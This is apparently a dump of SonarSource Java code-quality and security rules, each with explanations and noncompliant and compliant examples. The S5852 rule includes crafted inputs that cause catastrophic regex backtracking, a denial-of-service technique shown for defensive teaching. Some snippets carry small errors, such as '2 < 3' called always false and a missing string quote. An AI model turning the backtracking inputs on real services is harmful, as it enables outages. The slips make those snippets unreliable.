    System.out.println("ERROR");  // "ERROR" is printed as expected
  }
}

public static void doSomethingWhichThrowsException() {
  try {
    throw new RuntimeException();
  } finally {
    for (int i = 0; i < 10; i ++) {
      //...
      if (q == i) {
        break; // ignored
      }
    }

    /* ... */
  }
}

See

java:S5860

Why use named groups only to never use any of them later on in the code?

This rule raises issues every time named groups are:

* defined but never called anywhere in the code through their name;

* defined but called elsewhere in the code by their number instead.

Noncompliant Code Example

String date = "01/02";

Pattern datePattern = Pattern.compile("(?<month>[0-9]{2})/(?<year>[0-9]{2})");
Matcher dateMatcher = datePattern.matcher(date);

if (dateMatcher.matches()) {
  checkValidity(dateMatcher.group(1), dateMatcher.group(2));  // Noncompliant - numbers instead of names of groups are used
  checkValidity(dateMatcher.group("day")); // Noncompliant - there is no group called "day"
}

// ...

String score = "14:1";

Pattern scorePattern = Pattern.compile("(?<player1>[0-9]+):(?<player2>[0-9]+)"); // Noncompliant - named groups are never used
Matcher scoreMatcher = scorePattern.matcher(score);

if (scoreMatcher.matches()) {
  checkScore(score);
}

Compliant Solution

String date = "01/02";

Pattern datePattern = Pattern.compile("(?<month>[0-9]{2})/(?<year>[0-9]{2})");
Matcher dateMatcher = datePattern.matcher(date);

if (dateMatcher.matches()) {
  checkValidity(dateMatcher.group("month"), dateMatcher.group("year"));
}

// ...

String score = "14:1";

Pattern scorePattern = Pattern.compile("(?<player1>[0-9]+):(?<player2>[0-9]+)");
Matcher scoreMatcher = scorePattern.matcher(score);

if (scoreMatcher.matches()) {
  checkScore(scoreMatcher.group("player1"));
  checkScore(scoreMatcher.group("player2"));
}

Or, using dedicated variables instead of group names:

String score = "14:1";

String player = "([0-9]+)";
String gameScore = player + ":" + player;

Pattern scorePattern = Pattern.compile(gameScore);
Matcher scoreMatcher = scorePattern.matcher(score);

if (scoreMatcher.matches()) {
  checkScore(score);
}
java:S2112

The equals and hashCode methods of java.net.URL both may trigger a name service (usually DNS) lookup to resolve the host name or IP address. Depending on the configuration, and network status, that can take a long time. URI on the other hand makes no such calls and should be used instead unless the specific URL functionality is required.

In general it is better to use the URI class until access to the resource is actually needed, at which point you can just convert the URI to a URL using URI.toURL().

This rule checks for uses of URL 's in Map and Set , and for explicit calls to the equals and hashCode methods.

Noncompliant Code Example

public void checkUrl(URL url) {
  Set<URL> sites = new HashSet<URL>();  // Noncompliant

  URL homepage = new URL("http://sonarsource.com");  // Compliant
  if (homepage.equals(url)) { // Noncompliant
    // ...
  }
}

Compliant Solution

public void checkUrl(URL url) {
  Set<URI> sites = new HashSet<URI>();  // Compliant

  URI homepage = new URI("http://sonarsource.com");  // Compliant
  URI uri = url.toURI();
  if (homepage.equals(uri)) {  // Compliant
    // ...
  }
}
java:S2111

Because of floating point imprecision, you're unlikely to get the value you expect from the BigDecimal(double) constructor.

From the JavaDocs:

The results of this constructor can be somewhat unpredictable. One might assume that writing new BigDecimal(0.1) in Java creates a BigDecimal which is exactly equal to 0.1 (an unscaled value of 1, with a scale of 1), but it is actually equal to 0.1000000000000000055511151231257827021181583404541015625. This is because 0.1 cannot be represented exactly as a double (or, for that matter, as a binary fraction of any finite length). Thus, the value that is being passed in to the constructor is not exactly equal to 0.1, appearances notwithstanding.

Instead, you should use BigDecimal.valueOf, which uses a string under the covers to eliminate floating point rounding errors, or the constructor that takes a String argument.

Noncompliant Code Example

double d = 1.1;

BigDecimal bd1 = new BigDecimal(d); // Noncompliant; see comment above
BigDecimal bd2 = new BigDecimal(1.1); // Noncompliant; same result

Compliant Solution

double d = 1.1;

BigDecimal bd1 = BigDecimal.valueOf(d);
BigDecimal bd2 = new BigDecimal("1.1"); // using String constructor will result in precise value

See

  • CERT, NUM10-J. - Do not construct BigDecimal objects from floating-point literals
java:S2232

There are several reasons to avoid ResultSet.isLast(). First, support for this method is optional for TYPE_FORWARD_ONLY result sets. Second, it can be expensive (the driver may need to fetch the next row to answer the question). Finally, the specification is not clear on what should be returned when the ResultSet is empty, so some drivers may return the opposite of what is expected.

Noncompliant Code Example

stmt.executeQuery("SELECT name, address FROM PERSON");
ResultSet rs = stmt.getResultSet();
while (! rs.isLast()) { // Noncompliant
  // process row
}

Compliant Solution

ResultSet rs = stmt.executeQuery("SELECT name, address FROM PERSON");
while (rs.next()) {
  // process row
}
java:S4530

Using Struts 1 ActionForm is security-sensitive. For example, their use has led in the past to the following vulnerability:

All classes extending org.apache.struts.action.Action are potentially remotely reachable. The ActionForm object provided as a parameter of the execute method is automatically instantiated and populated with the HTTP parameters. One should review the use of these parameters to be sure they are used safely.

Ask Yourself Whether

  • some parameters of the ActionForm might not have been validated properly.
  • dangerous parameter names are accepted. Example: accept a "class" parameter and use the form to populate JavaBean properties (see the CVE-2014-0114 above).
  • there are unused fields which are not empty or undefined.

You are at risk if you answered to any of these questions.

Recommended Secure Coding Practices

All ActionForm's properties should be validated, including their size. Whenever possible, filter the parameters with a whitelist of valid values. Otherwise, escape any sensitive character and constrain the values as much as possible.

Allow only non security-sensitive property names. All the ActionForm's property names should be whitelisted.

Unused fields should be constrained so that they are either empty or undefined.

Noncompliant Code Example

// Struts 1.1+
public final class CashTransferAction extends Action {

  public String fromAccount = "";
  public String toAccount = "";

  public ActionForward execute(ActionMapping mapping, ActionForm form, HttpServletRequest req, HttpServletResponse res) throws Exception {
    // usage of the "form" object to call some services doing JDBC actions
    [...]
    return mapping.findForward(resultat);
  }
}

See

Deprecated

This rule is deprecated, and will eventually be removed.

java:S1144

private methods that are never executed are dead code: unnecessary, inoperative code that should be removed. Cleaning out dead code decreases the size of the maintained codebase, making it easier to understand the program and preventing bugs from being introduced.

Note that this rule does not take reflection into account, which means that issues will be raised on private methods that are only accessed using the reflection API.

Noncompliant Code Example

public class Foo implements Serializable
{
  private Foo(){}     //Compliant, private empty constructor intentionally used to prevent any direct instantiation of a class.
  public static void doSomething(){
    Foo foo = new Foo();
    ...
  }
  private void unusedPrivateMethod(){...}
  private void writeObject(ObjectOutputStream s){...}  //Compliant, relates to the java serialization mechanism
  private void readObject(ObjectInputStream in){...}  //Compliant, relates to the java serialization mechanism
}

Compliant Solution

public class Foo implements Serializable
{
  private Foo(){}     //Compliant, private empty constructor intentionally used to prevent any direct instantiation of a class.
  public static void doSomething(){
    Foo foo = new Foo();
    ...
  }

  private void writeObject(ObjectOutputStream s){...}  //Compliant, relates to the java serialization mechanism

  private void readObject(ObjectInputStream in){...}  //Compliant, relates to the java serialization mechanism
}

Exceptions

This rule doesn't raise any issue on annotated methods.

java:S2235

According to Oracle Javadoc:

IllegalMonitorStateException is thrown when a thread has attempted to wait on an object's monitor or to notify other threads waiting on an object's monitor without owning the specified monitor.

In other words, this exception can be thrown only in case of bad design because Object.wait(...), Object.notify() and Object.notifyAll() methods should never be called on an object whose monitor is not held.

Noncompliant Code Example

public void doSomething(){
  ...
  try {
    ...
    anObject.notify();
    ...
  } catch(IllegalMonitorStateException e) {
    ...
  }
}

Compliant Solution

public void doSomething(){
  ...
  synchronized(anObject) {
    ...
    anObject.notify();
    ...
  }
}
java:S2114

Passing a collection as an argument to the collection's own method is either an error - some other argument was intended - or simply nonsensical code.

Further, because some methods require that the argument remain unmodified during the execution, passing a collection to itself can result in undefined behavior.

Noncompliant Code Example

List <Object> objs = new ArrayList<Object>();
objs.add("Hello");

objs.add(objs); // Noncompliant; StackOverflowException if objs.hashCode() called
objs.addAll(objs); // Noncompliant; behavior undefined
objs.containsAll(objs); // Noncompliant; always true
objs.removeAll(objs); // Noncompliant; confusing. Use clear() instead
objs.retainAll(objs); // Noncompliant; NOOP
java:S1145

if statements with conditions that are always false have the effect of making blocks of code non-functional. if statements with conditions that are always true are completely redundant, and make the code less readable.

There are three possible causes for the presence of such code:

  • An if statement was changed during debugging and that debug code has been committed.
  • Some value was left unset.
  • Some logic is not doing what the programmer thought it did.

In any of these cases, unconditional if statements should be removed.

Noncompliant Code Example

if (true) {
  doSomething();
}
...
if (false) {
  doSomethingElse();
}

if (2 < 3 ) { ... }  // Noncompliant; always false

int i = 0;
int j = 0;
// ...
j = foo();

if (j > 0 && i > 0) { ... }  // Noncompliant; always false - i never set after initialization

boolean b = true;
//...
if (b || !b) { ... }  // Noncompliant

Compliant Solution

doSomething();
...

See

Deprecated

This rule is deprecated; use S2583 instead.

java:S5866

By default case insensitivity only affects letters in the ASCII range. This can be changed by either passing Pattern.UNICODE_CASE or Pattern.UNICODE_CHARACTER_CLASS as an argument to Pattern.compile or using (?u) or (?U) within the regex.

If not done, regular expressions involving non-ASCII letters will still handle those letters as being case sensitive.

Noncompliant Code Example

Pattern.compile("söme pättern", Pattern.CASE_INSENSITIVE);
str.matches("(?i)söme pättern");
str.matches("(?i:söme) pättern");

Compliant Solution

Pattern.compile("söme pättern", Pattern.CASE_INSENSITIVE | Pattern.UNICODE_CASE);
str.matches("(?iu)söme pättern");
str.matches("(?iu:söme) pättern");

// UNICODE_CHARACTER_CLASS implies UNICODE_CASE
Pattern.compile("söme pättern", Pattern.CASE_INSENSITIVE | Pattern.UNICODE_CHARACTER_CLASS);
str.matches("(?iU)söme pättern");
str.matches("(?iU:söme) pättern");
java:S2234

When the names of parameters in a method call match the names of the method arguments, it contributes to clearer, more readable code. However, when the names match, but are passed in a different order than the method arguments, it indicates a mistake in the parameter order which will likely lead to unexpected results.

Noncompliant Code Example

public double divide(int divisor, int dividend) {
  return divisor/dividend;
}

public void doTheThing() {
  int divisor = 15;
  int dividend = 5;

  double result = divide(dividend, divisor);  // Noncompliant; operation succeeds, but result is unexpected
  //...
}

Compliant Solution

public double divide(int divisor, int dividend) {
  return divisor/dividend;
}

public void doTheThing() {
  int divisor = 15;
  int dividend = 5;

  double result = divide(divisor, dividend);
  //...
}
java:S5867

When using POSIX classes like \p{Alpha} without the UNICODE_CHARACTER_CLASS flag or when using hard-coded character classes like "[a-zA-Z]", letters outside of the ASCII range, such as umlauts, accented letters or letter from non-Latin languages, won't be matched. This may cause code to incorrectly handle input containing such letters.

To correctly handle non-ASCII input, it is recommended to use Unicode classes like \p{IsAlphabetic}. When using POSIX classes, Unicode support should be enabled by either passing Pattern.UNICODE_CHARACTER_CLASS as a flag to Pattern.compile or by using (?U) inside the regex.

Noncompliant Code Example

Pattern.compile("[a-zA-Z]");
Pattern.compile("\\p{Alpha}");

Compliant Solution

Pattern.compile("\\p{IsAlphabetic}"); // matches all letters from all languages
Pattern.compile("\\p{IsLatin}"); // matches latin letters, including umlauts and other non-ASCII variations
Pattern.compile("\\p{Alpha}", Pattern.UNICODE_CHARACTER_CLASS);
Pattern.compile("(?U)\\p{Alpha}");
java:S2116

While hashCode and toString are available on arrays, they are largely useless. hashCode returns the array's "identity hash code", and toString returns nearly the same value. Neither method's output actually reflects the array's contents. Instead, you should pass the array to the relevant static Arrays method.

Noncompliant Code Example

public static void main( String[] args )
{
    String argStr = args.toString(); // Noncompliant
    int argHash = args.hashCode(); // Noncompliant

Compliant Solution

public static void main( String[] args )
{
    String argStr = Arrays.toString(args);
    int argHash = Arrays.hashCode(args);

java:S2479

Non-encoded control characters and whitespace characters are often injected in the source code because of a bad manipulation. They are either invisible or difficult to recognize, which can result in bugs when the string is not what the developer expects. If you actually need to use a control character use their encoded version (ex: ASCII \n,\t,... or Unicode U+000D, U+0009,...).

This rule raises an issue when the following characters are seen in a literal string:

No issue will be raised on the simple space character. Unicode U+0020, ASCII 32.

Noncompliant Code Example

String tabInside = "A	B";  // Noncompliant, contains a tabulation
String zeroWidthSpaceInside = "foo​bar"; // Noncompliant, it contains a U+200B character inside
char tab = '	';

Compliant Solution

String tabInside = "A\tB";  // Compliant, uses escaped value
String zeroWidthSpaceInside = "foo\u200Bbar";  // Compliant, uses escaped value
char tab = '\t';

Exceptions

Text Blocks string literals (java 13 three double-quote marks) can contain tabulations to allow indentation using tabulations.

java:S1147

Calling System.exit(int status) or Rutime.getRuntime().exit(int status) calls the shutdown hooks and shuts downs the entire Java virtual machine. Calling Runtime.getRuntime().halt(int) does an immediate shutdown, without calling the shutdown hooks, and skipping finalization.

Each of these methods should be used with extreme care, and only when the intent is to stop the whole Java process. For instance, none of them should be called from applications running in a J2EE container.

Noncompliant Code Example

System.exit(0);
Runtime.getRuntime().exit(0);
Runtime.getRuntime().halt(0);

Exceptions

These methods are ignored inside main.

See

java:S3688

This rule allows banning certain classes.

Noncompliant Code Example

Given parameters:

  • className:java.lang.String
String name;  // Noncompliant
java:S2115

Databases should always be password protected. The use of a database connection with an empty password is a clear indication of a database that is not protected.

This rule flags database connections with empty passwords.

Noncompliant Code Example

Connection conn = DriverManager.getConnection("jdbc:derby:memory:myDB;create=true", "AppLogin", "");
Connection conn2 = DriverManager.getConnection("jdbc:derby:memory:myDB;create=true?user=user&password=");

Compliant Solution

DriverManager.getConnection("jdbc:derby:memory:myDB;create=true?user=user&password=password");

DriverManager.getConnection("jdbc:mysql://address=(host=myhost1)(port=1111)(key1=value1)(user=sandy)(password=secret),address=(host=myhost2)(port=2222)(key2=value2)(user=sandy)(password=secret)/db");

DriverManager.getConnection("jdbc:mysql://sandy:secret@[myhost1:1111,myhost2:2222]/db");

String url = "jdbc:postgresql://localhost/test";
Properties props = new Properties();
props.setProperty("user", "fred");
props.setProperty("password", "secret");
DriverManager.getConnection(url, props);

See

java:S1148

Throwable.printStackTrace(...) prints a Throwable and its stack trace to some stream. By default that stream System.Err, which could inadvertently expose sensitive information.

Loggers should be used instead to print Throwables, as they have many advantages:

  • Users are able to easily retrieve the logs.
  • The format of log messages is uniform and allow users to browse the logs easily.

This rule raises an issue when printStackTrace is used without arguments, i.e. when the stack trace is printed to the default stream.

Noncompliant Code Example

try {
  /* ... */
} catch(Exception e) {
  e.printStackTrace();        // Noncompliant
}

Compliant Solution

try {
  /* ... */
} catch(Exception e) {
  LOGGER.log("context", e);
}

See

Deprecated

This rule is deprecated; use S4507 instead.

java:S2236

The methods wait(...), notify() and notifyAll() are available on a Thread instance, but only because all classes in Java extend Object and therefore automatically inherit those methods. But there are two very good reasons for not calling them on a Thread:

  • Internally, the JVM relies on these methods to change the state of the Thread (BLOCKED, WAITING, ...), so calling them will corrupt the behavior of the JVM.
  • It is not clear (perhaps even to the original coder) what is really expected. For instance, it is waiting for the execution of the Thread to suspended, or is it the acquisition of the object monitor that is waited for?

Noncompliant Code Example

Thread myThread = new Thread(new RunnableJob());
...
myThread.wait(2000);
java:S864

The rules of operator precedence are complicated and can lead to errors. For this reason, parentheses should be used for clarification in complex statements. However, this does not mean that parentheses should be gratuitously added around every operation.

This rule raises issues when && and || are used in combination, when assignment and equality or relational operators are used in together in a condition, and for other operator combinations according to the following table:

+, -, *, /, % <<, >>, >>> & ^ |
+, -, *, /, % x x x x
<<, >>, >>> x x x x
& x x x x
^ x x x x
| x x x x

This rule also raises an issue when the "true" or "false" expression of a ternary operator is not trivial and not wrapped inside parentheses.

Noncompliant Code Example

x = a + b - c;
x = a + 1 << b;  // Noncompliant
y = a == b ? a * 2 : a + b;  // Noncompliant

if ( a > b || c < d || a == d) {...}
if ( a > b && c < d || a == b) {...}  // Noncompliant
if (a = f(b,c) == 1) { ... } // Noncompliant; == evaluated first

Compliant Solution

x = a + b - c;
x = (a + 1) << b;
y = a == b ? (a * 2) : (a + b);

if ( a > b || c < d || a == d) {...}
if ( (a > b && c < d) || a == b) {...}
if ( (a = f(b,c)) == 1) { ... }

See

java:S5738

Java 9 introduced a flag for the @Deprecated annotation, which allows to explicitly say if the deprecated code is planned to be removed at some point or not. This is done using forRemoval=true as annotation parameter. The javadoc of the annotation explicitly mention the following:

If true, it means that this API element is earmarked for removal in a future release.

If false, the API element is deprecated, but there is currently no intention to remove it in a future release.

While usually deprecated classes, interfaces, and their deprecated members should be avoided rather than used, inherited or extended, those already marked for removal are much more sensitive to causing trouble in your code soon. Consequently, any usage of such deprecated code should be avoided or removed.

Noncompliant Code Example

/**
 * @deprecated As of release 1.3, replaced by {@link #Fee}. Will be dropped with release 1.4.
 */
@Deprecated(forRemoval=true)
public class Foo { ... }

public class Bar {
  /**
   * @deprecated  As of release 1.7, replaced by {@link #doTheThingBetter()}
   */
  @Deprecated(forRemoval=true)
  public void doTheThing() { ... }

  public void doTheThingBetter() { ... }

  /**
   * @deprecated As of release 1.14 due to poor performances.
   */
  @Deprecated(forRemoval=false)
  public void doTheOtherThing() { ... }
}

public class Qix extends Bar {
  @Override
  public void doTheThing() { ... } // Noncompliant; don't override a deprecated method marked for removal
}

public class Bar extends Foo {  // Noncompliant; Foo is deprecated and will be removed

  public void myMethod() {
    Bar bar = new Bar();  // okay; the class isn't deprecated
    bar.doTheThing();  // Noncompliant; doTheThing method is deprecated and will be removed

    bar.doTheOtherThing(); // Okay; deprecated, but not marked for removal
  }
}

See

  • MITRE, CWE-477 - Use of Obsolete Functions
  • CERT, MET02-J. - Do not use deprecated or obsolete classes or methods
  • RSPEC-1874 for standard deprecation use
java:S3438

Use of a Spring SingleConnectionFactory without enabling the reconnectOnException setting will prevent automatic connection recovery when the connection goes bad.

That's because the reconnectOnException property defaults to false. As a result, even if the code that uses this connection factory (Spring's DefaultMessageListenerContainer or your own code) has reconnect logic, that code won't work because the SingleConnectionFactory will act like a single-connection pool by preventing connection close calls from actually closing anything. As a result, subsequent factory create operations will just hand back the original broken Connection.

Noncompliant Code Example

 <bean id="singleCF" class="org.springframework.jms.connection.SingleConnectionFactory">  <!-- Noncompliant -->
   <constructor-arg ref="dummyConnectionFactory" />
 </bean>

Compliant Solution

 <bean id="singleCF" class="org.springframework.jms.connection.SingleConnectionFactory" p:reconnectOnException="true">
   <constructor-arg ref="dummyConnectionFactory" />
 </bean>

or

 <bean id="singleCF" class="org.springframework.jms.connection.SingleConnectionFactory">
   <constructor-arg ref="dummyConnectionFactory" />
   <property name="reconnectOnException"><value>true</value></property>
 </bean>
java:S3437

According to the documentation,

A program may produce unpredictable results if it attempts to distinguish two references to equal values of a value-based class, whether directly via reference equality or indirectly via an appeal to synchronization, identity hashing, serialization...

For example (credit to Brian Goetz), imagine Foo is a value-based class:

Foo[] arr = new Foo[2];
arr[0] = new Foo(0);
arr[1] = new Foo(0);

Serialization promises that on deserialization of arr, elements 0 and 1 will not be aliased. Similarly, in:

Foo[] arr = new Foo[2];
arr[0] = new Foo(0);
arr[1] = arr[0];

Serialization promises that on deserialization of arr, elements 0 and 1 will be aliased.

While these promises are coincidentally fulfilled in current implementations of Java, that is not guaranteed in the future, particularly when true value types are introduced in the language.

This rule raises an issue when a Serializable class defines a non-transient, non-static field field whose type is a known serializable value-based class. Known serializable value-based classes are: all the classes in the java.time package except Clock; the date classes for alternate calendars: HijrahDate, JapaneseDate, MinguoDate, ThaiBuddhistDate.

Noncompliant Code Example

class MyClass implements Serializable {
  private HijrahDate date;  // Noncompliant; mark this transient
  // ...
}

Compliant Solution

class MyClass implements Serializable {
  private transient HijrahDate date;
  // ...
}

See

java:S2109

The writer of an annotation can set one of three retention policies for it:

  • RetentionPolicy.SOURCE - these annotations are dropped during compilation, E.G. @Override, @SuppressWarnings.
  • RetentionPolicy.CLASS - these annotations are present in a compiled class but not loaded into the JVM at runtime. This is the default.
  • RetentionPolicy.RUNTIME - these annotations are present in the class file and loaded into the JVM.

Only annotations that have been given a RUNTIME retention policy will be available to reflection. Testing for annotations with any other retention policy is simply an error, since the test will always return false.

This rule checks that reflection is not used to detect annotations that do not have RUNTIME retention.

Noncompliant Code Example

Method m = String.class.getMethod("getBytes", new Class[] {int.class,
int.class, byte[].class, int.class});
if (m.isAnnotationPresent(Override.class)) {  // Noncompliant; test will always return false, even when @Override is present in the code
java:S5857

Using reluctant quantifiers (also known as lazy or non-greedy quantifiers) in patterns can often lead to needless backtracking, making the regex needlessly inefficient and potentially vulnerable to catastrophic backtracking. Particularly when using .*? or .+? to match anything up to some terminating character, it is usually a better idea to instead use a greedily or possessively quantified negated character class containing the terminating character. For example <.+?> should be replaced with <[^>]++>.

Noncompliant Code Example

<.+?>
".*?"

Compliant Solution

<[^>]++>
"[^"]*+"

or

<[^>]+>
"[^"]*"

Exceptions

This rule only applies in cases where the reluctant quantifier can easily be replaced with a negated character class. That means the repetition has to be terminated by a single character or character class. Patterns such as the following, where the alternatives without reluctant quantifiers are more complicated, are therefore not subject to this rule:

<!--.*?-->
/\*.*?\*/
java:S2229

When using Spring proxies, calling a method in the same class (e.g. this.aMethod()) with an incompatible @Transactional requirement will result in runtime exceptions because Spring only "sees" the caller and makes no provisions for properly invoking the callee.

Therefore, certain calls should never be made within the same class:

From To
non-@Transactional MANDATORY, NESTED, REQUIRED, REQUIRES_NEW
MANDATORY NESTED, NEVER, NOT_SUPPORTED, REQUIRES_NEW
NESTED NESTED, NEVER, NOT_SUPPORTED, REQUIRES_NEW
NEVER MANDATORY, NESTED, REQUIRED, REQUIRES_NEW
NOT_SUPPORTED MANDATORY, NESTED, REQUIRED, REQUIRES_NEW
REQUIRED or @Transactional NESTED, NEVER, NOT_SUPPORTED, REQUIRES_NEW
REQUIRES_NEW NESTED, NEVER, NOT_SUPPORTED, REQUIRES_NEW
SUPPORTS MANDATORY, NESTED, NEVER, NOT_SUPPORTED, REQUIRED, REQUIRES_NEW

Noncompliant Code Example


@Override
public void doTheThing() {
  // ...
  actuallyDoTheThing();  // Noncompliant
}

@Override
@Transactional
public void actuallyDoTheThing() {
  // ...
}
java:S3439

DefaultMessageListenerContainer is implemented as a JMS poller. While the Spring container is shutting itself down, as each in-progress JMS Consumer.receive() call completes, any non-null return value will be a JMS message that the DMLC will discard due to the shutdown in progress. That will result in the received message never being processed.

To prevent message loss during restart operations, set acceptMessagesWhileStopping to true so that such messages will be processed before shut down.

Noncompliant Code Example

<bean id="listenerContainer" class="org.springframework.jms.listener.DefaultMessageListenerContainer">  <!-- Noncompliant -->
   <property name="connectionFactory" ref="connFactory" />
   <property name="destination" ref="dest" />
   <property name="messageListener" ref="serviceAdapter" />
   <property name="autoStartup" value="true" />
   <property name="concurrentConsumers" value="10" />
   <property name="maxConcurrentConsumers" value="10" />
   <property name="clientId" value="myClientID" />
</bean>

Compliant Solution

<bean id="listenerContainer" class="org.springframework.jms.listener.DefaultMessageListenerContainer">
   <property name="connectionFactory" ref="connFactory" />
   <property name="destination" ref="dest" />
   <property name="messageListener" ref="serviceAdapter" />
   <property name="autoStartup" value="true" />
   <property name="concurrentConsumers" value="10" />
   <property name="maxConcurrentConsumers" value="10" />
   <property name="clientId" value="myClientID" />
   <property name="acceptMessagesWhileStopping" value="true" />
</bean>
java:S2583

Conditional expressions which are always true or false can lead to dead code. Such code is always buggy and should never be used in production.

Noncompliant Code Example

a = false;
if (a) { // Noncompliant
  doSomething(); // never executed
}

if (!a || b) { // Noncompliant; "!a" is always "true", "b" is never evaluated
  doSomething();
} else {
  doSomethingElse(); // never executed
}

Exceptions

This rule will not raise an issue in either of these cases:

  • When the condition is a single final boolean
final boolean debug = false;
//...
if (debug) {
  // Print something
}
  • When the condition is literally true or false.
if (true) {
  // do something
}

In these cases it is obvious the code is as intended.

See

java:S1130

An exception in a throws declaration in Java is superfluous if it is:

  • listed multiple times
  • a subclass of another listed exception
  • a RuntimeException, or one of its descendants
  • completely unnecessary because the declared exception type cannot actually be thrown

Noncompliant Code Example

void foo() throws MyException, MyException {}  // Noncompliant; should be listed once
void bar() throws Throwable, Exception {}  // Noncompliant; Exception is a subclass of Throwable
void baz() throws RuntimeException {}  // Noncompliant; RuntimeException can always be thrown

Compliant Solution

void foo() throws MyException {}
void bar() throws Throwable {}
void baz() {}

Exceptions

The rule will not raise any issue for exceptions that cannot be thrown from the method body:

  • in overriding and implementation methods
  • in interface default methods
  • in non-private methods that only throw, have empty bodies, or a single return statement .
  • in overridable methods (non-final, or not member of a final class, non-static, non-private), if the exception is documented with a proper javadoc.
class A extends B {
  @Override
  void doSomething() throws IOException {
    compute(a);
  }

  public void foo() throws IOException {}

  protected void bar() throws IOException {
    throw new UnsupportedOperationException("This method should be implemented in subclasses");
  }

  Object foobar(String s) throws IOException {
    return null;
  }

  /**
   * @throws IOException Overriding classes may throw this exception if they print values into a file
   */
  protected void print() throws IOException { // no issue, method is overridable and the exception has proper javadoc
    System.out.println("foo");
  }
}
java:S3551

When @Overrides of synchronized methods are not themselves synchronized, the result can be improper synchronization as callers rely on the thread-safety promised by the parent class.

Noncompliant Code Example

public class Parent {

  synchronized void foo() {
    //...
  }
}

public class Child extends Parent {

 @Override
  public foo () {  // Noncompliant
    // ...
    super.foo();
  }
}

Compliant Solution

public class Parent {

  synchronized void foo() {
    //...
  }
}

public class Child extends Parent {

  @Override
  synchronized foo () {
    // ...
    super.foo();
  }
}

See

  • CERT, TSM00-J - Do not override thread-safe methods with methods that are not thread-safe
java:S5852

Most of the regular expression engines use backtracking to try all possible execution paths of the regular expression when evaluating an input, in some cases it can cause performance issues, called catastrophic backtracking situations. In the worst case, the complexity of the regular expression is exponential in the size of the input, this means that a small carefully-crafted input (like 20 chars) can trigger catastrophic backtracking and cause a denial of service of the application. Super-linear regex complexity can lead to the same impact too with, in this case, a large carefully-crafted input (thousands chars).

This rule detects regular expression patterns known to have potential performance issues:

  • Nested quantifiers which are quantifiers inside a group that is itself repeated by a quantifier (eg: /(a+)+/).

Ask Yourself Whether

  • The input is user-controlled.
  • The input size is not restricted to a small number of characters.
  • There is no timeout in place to limit the regex evaluation time.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

To avoid catastrophic backtracking situations, when possible:

  • The maximum number of expected repetitions should be defined with the corresponding quantifier, like {1,5} instead of + for instance.
  • Refactor nested quantifiers to limit the number of way the inner group can be matched by the outer quantifier, for instance this nested quantifier situation (ba+)+ doesn't cause performance issues, indeed, the inner group can be matched only if it exists exactly one b char per repetition of the group.
  • Optimize regular expressions with possessive quantifiers and atomic grouping.

Sensitive Code Example

The first regex evaluation will never end in OpenJDK <= 9 and the second regex evaluation will never end in any versions of OpenJDK:

java.util.regex.Pattern.compile("(a+)+").matcher(
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"+
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"+
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"+
aaaaaaaaaaaaaaa!").matches(); // Sensitive

java.util.regex.Pattern.compile("(h|h|ih(((i|a|c|c|a|i|i|j|b|a|i|b|a|a|j))+h)ahbfhba|c|i)*").matcher(
"hchcchicihcchciiicichhcichcihcchiihichiciiiihhcchi"+
"cchhcihchcihiihciichhccciccichcichiihcchcihhicchcciicchcccihiiihhihihihi"+
"chicihhcciccchihhhcchichchciihiicihciihcccciciccicciiiiiiiiicihhhiiiihchccch"+
"chhhhiiihchihcccchhhiiiiiiiicicichicihcciciihichhhhchihciiihhiccccccciciihh"+
"ichiccchhicchicihihccichicciihcichccihhiciccccccccichhhhihihhcchchihih"+
"iihhihihihicichihiiiihhhhihhhchhichiicihhiiiiihchccccchichci").matches(); // Sensitive

Compliant Solution

Possessive quantifiers do not keep backtracking positions, thus can be used, if possible, to avoid performance issues:

java.util.regex.Pattern.compile("(a+)++").matcher(
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"+
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"+
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"+
aaaaaaaaaaaaaaa!").matches(); // Compliant

java.util.regex.Pattern.compile("(h|h|ih(((i|a|c|c|a|i|i|j|b|a|i|b|a|a|j))+h)ahbfhba|c|i)*+").matcher(
"hchcchicihcchciiicichhcichcihcchiihichiciiiihhcchi"+
"cchhcihchcihiihciichhccciccichcichiihcchcihhicchcciicchcccihiiihhihihihi"+
"chicihhcciccchihhhcchichchciihiicihciihcccciciccicciiiiiiiiicihhhiiiihchccch"+
"chhhhiiihchihcccchhhiiiiiiiicicichicihcciciihichhhhchihciiihhiccccccciciihh"+
"ichiccchhicchicihihccichicciihcichccihhiciccccccccichhhhihihhcchchihih"+
"iihhihihihicichihiiiihhhhihhhchhichiicihhiiiiihchccccchichci").matches(); // Compliant

See

java:S5973

Unstable / flaky tests are tests which sometimes pass and sometimes fail, without any code change. Obviously, they slow down developments when engineers have to rerun failed tests. However the real problem is that you can't completely trust these tests, they might fail for many different reasons and you don't know if any of them will happen in production.

Some tools, such as TestNG, enable developers to automatically retry flaky tests. This might be ok as a temporary solution, but it should definitely be fixed. The more flaky tests you add, the more chances there are for a bug to arrive in production.

This rule raises an issue when the annotation org.testng.annotations.Test is given a successPercentage argument with a value lower than 100.

Noncompliant Code Example

import org.testng.annotations.Test;

public class PercentageTest {
    @Test(successPercentage = 80, invocationCount = 10)  // Noncompliant. The test is allowed to fail 2 times.
    public void flakyTest() {
    }
}

See

java:S2222

If a lock is acquired and released within a method, then it must be released along all execution paths of that method.

Failing to do so will expose the conditional locking logic to the method's callers and hence be deadlock-prone.

Noncompliant Code Example

public class MyClass {
  public void doSomething() {
    Lock lock = new Lock();
    lock.lock(); // Noncompliant
    if (isInitialized()) {
      // ...
      lock.unlock();
    }
  }
}

Compliant Solution

public class MyClass {
  public void doSomething() {
    Lock lock = new Lock();
    if (isInitialized()) {
      lock.lock();
      // ...
      lock.unlock();
    }
  }
}

See

java:S3553

The Java language authors have been quite frank that Optional was intended for use only as a return type, as a way to convey that a method may or may not return a value.

And for that, it's valuable but using Optional on the input side increases the work you have to do in the method without really increasing the value. With an Optional parameter, you go from having 2 possible inputs: null and not-null, to three: null, non-null-without-value, and non-null-with-value. Add to that the fact that overloading has long been available to convey that some parameters are optional, and there's really no reason to have Optional parameters.

